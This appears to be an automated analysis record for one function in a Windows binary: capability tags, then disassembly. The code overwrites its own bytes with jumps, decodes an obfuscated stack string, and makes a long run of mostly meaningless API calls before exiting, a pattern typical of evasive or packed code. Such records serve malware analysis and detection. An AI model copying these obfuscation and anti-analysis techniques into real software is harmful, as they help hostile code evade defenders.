Function at 0xa87000
Capabilities:
Accept command line arguments
Connect pipe
Contain obfuscated stackstrings
Enumerate gui resources
Get geographical location
Get session user name
Get thread local storage value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov dword [ebp - 0x10], 0xa87c3e
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xa87036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xa871e2
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xa870b8
call fcn.00464b62
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xa8707a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xa87094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xa87094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xa8704a
mov byte [ebp - 0x74], 6
mov byte [ebp - 0x73], 0x6f
mov byte [ebp - 0x72], 4
mov byte [ebp - 0x71], 0x7a
mov byte [ebp - 0x70], 2
mov byte [ebp - 0x6f], 0x73
mov byte [ebp - 0x6e], 8
mov byte [ebp - 0x6d], 0x77
mov byte [ebp - 0x6c], 5
mov byte [ebp - 0x6b], 0x72
mov byte [ebp - 0x6a], 0
mov byte [ebp - 0x69], 0x7d
mov byte [ebp - 0x68], 1
mov byte [ebp - 0x67], 0x82
mov byte [ebp - 0x66], 0x16
mov byte [ebp - 0x65], 0xfd
mov byte [ebp - 0x64], 0xe1
mov byte [ebp - 0x63], 0xe
mov byte [ebp - 0x62], 0x69
mov byte [ebp - 0x61], 0x5f
mov byte [ebp - 0x60], 0x5b
mov byte [ebp - 0x5f], 2
mov byte [ebp - 0x5e], 0xae
mov byte [ebp - 0x5d], 0x77
mov byte [ebp - 0x5c], 0xa3
mov byte [ebp - 0x5b], 0xb5
mov byte [ebp - 0x5a], 0x2a
mov byte [ebp - 0x59], 0x7c
mov byte [ebp - 0x58], 0x67
mov byte [ebp - 0x57], 0x34
mov byte [ebp - 0x56], 0x8d
mov byte [ebp - 0x55], 0xf2
mov byte [ebp - 0x54], 0x68
mov byte [ebp - 0x53], 0x4a
mov byte [ebp - 0x52], 0x44
mov byte [ebp - 0x51], 0x20
mov byte [ebp - 0x50], 3
mov byte [ebp - 0x4f], 0x2f
mov byte [ebp - 0x4e], 9
mov byte [ebp - 0x4d], 0x7a
mov byte [ebp - 0x4c], 7
mov byte [ebp - 0x4b], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xa87172
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2a
jae 0xa871d7
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xa8719e
mov dword [ebp - 0x24], 0x16
mov eax, dword [ebp - 8]
add eax, 0x14
mov dword [ebp - 8], eax
jmp 0xa8716a
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x73]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xa871c6
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xa871b3
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x74]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xa8716a
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa7c3aa
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.00407945
mov ecx, eax
call fcn.004029f3
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402997
and dword [ebp - 0x1c], 0
jmp 0xa8721a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xa8722a
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xa87213
push 0x25c1
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0x529
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x1b79
push 0x65f
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0x173
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
push 0x7b4
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
push 0x1ab0
push 0xfdd
push 0x23a3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0
push 0
push 0
push 0
push 0x1977
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0x249f
push 0x229e
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
push 0x1bf0
push 0x1c12
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0x1406
call dword [sym.imp.USER32.dll_GetSysColor]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
push 0x2395
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0x1fc2
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0x748
push 0x233c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindow]
push 0
push 0xca1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
push 0
push 0x93f
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x21ff
push 0xd65
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0x23e5
push 0x10f8
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x823
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetROP2]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 0xc3c
push 0x672
push 0
call dword [sym.imp.GDI32.dll_OffsetRgn]
push 0x25f6
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommState]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0
push 0x55b
push 0x55
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
push 0
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0
push 0x222
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0x221b
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0x214f
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
push 0x132c
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0xcf0
call dword [sym.imp.USER32.dll_MessageBeep]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0x1ad6
push 0x10c2
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFrameControl]
push 0x11d2
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0x182e
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolygon]
push 0x162c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0x1f6d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0xc61
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
push 0x241c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCurrentPositionEx]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
push 0x1896
push 0x1d1d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetViewportExtEx]
push 0x49f
push 0x746
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0x11a3
push 0x12e2
push 0x1f7b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x2da
push 0x1f06
push 0x16e3
push 0x817
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0xca0
push 0xd1d
push 0x1cbe
push 0x216a
push 0x194f
push 0x1f5f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RoundRect]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
push 0xa8b
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
push 0x1c7e
push 0
push 0x171e
push 0
push 0x1598
push 0x786
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0
call dword [sym.imp.KERNEL32.dll_ResetEvent]
push 0x33d
push 0x25db
push 0
push 0
push 0x15b9
push 0x1ea4
push 0x2089
push 0x1e6e
push 0x13b2
push 0x1643
push 0x1333
push 0x91c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchDIBits]
push 0x2542
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0x9f4
push 0x1d56
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x25c7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0x3a6
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
push 0
push 0x1d3
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0x13da
call dword [sym.imp.GDI32.dll_GetStockObject]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0
push 0xd2
push 0xf8a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0
push 0x365
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0x993
push 0
push 0x1f24
push 0x137d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0
push 0x2173
push 0x12a7
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
push 0x23be
push 0x2b6
call dword [sym.imp.GDI32.dll_CreatePen]
push 1
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
push 0xe7b
push 0x955
push 0x165a
push 0x699
push 0x16c2
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
push 0
push 0
call dword [sym.imp.USER32.dll_EnumWindows]
call dword [sym.imp.USER32.dll_GetCapture]
push 0
push 0
push 0x24b7
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
push 0x1a00
push 0xab0
push 0
call dword [sym.imp.USER32.dll_DeleteMenu]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadCursorA]
push 0xb57
push 0x1a8c
push 0x2095
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0
push 0xa33
call dword [sym.imp.GDI32.dll_CreateHatchBrush]
push 1
push 0
push 0x10ad
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollInfo]
call dword [sym.imp.USER32.dll_ReleaseCapture]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x233
push 0x9bc
push 0xf03
push 0x174b
push 0x1e33
push 0x1740
push 0x25f4
push 0x2659
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Arc]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 0x2d3
push 0x1593
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x1a92
push 0x201b
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
push 0x1aa7
push 0x2591
push 0x1b99
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
push 0x263e
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
push 0x477
call dword [sym.imp.KERNEL32.dll_ExitProcess]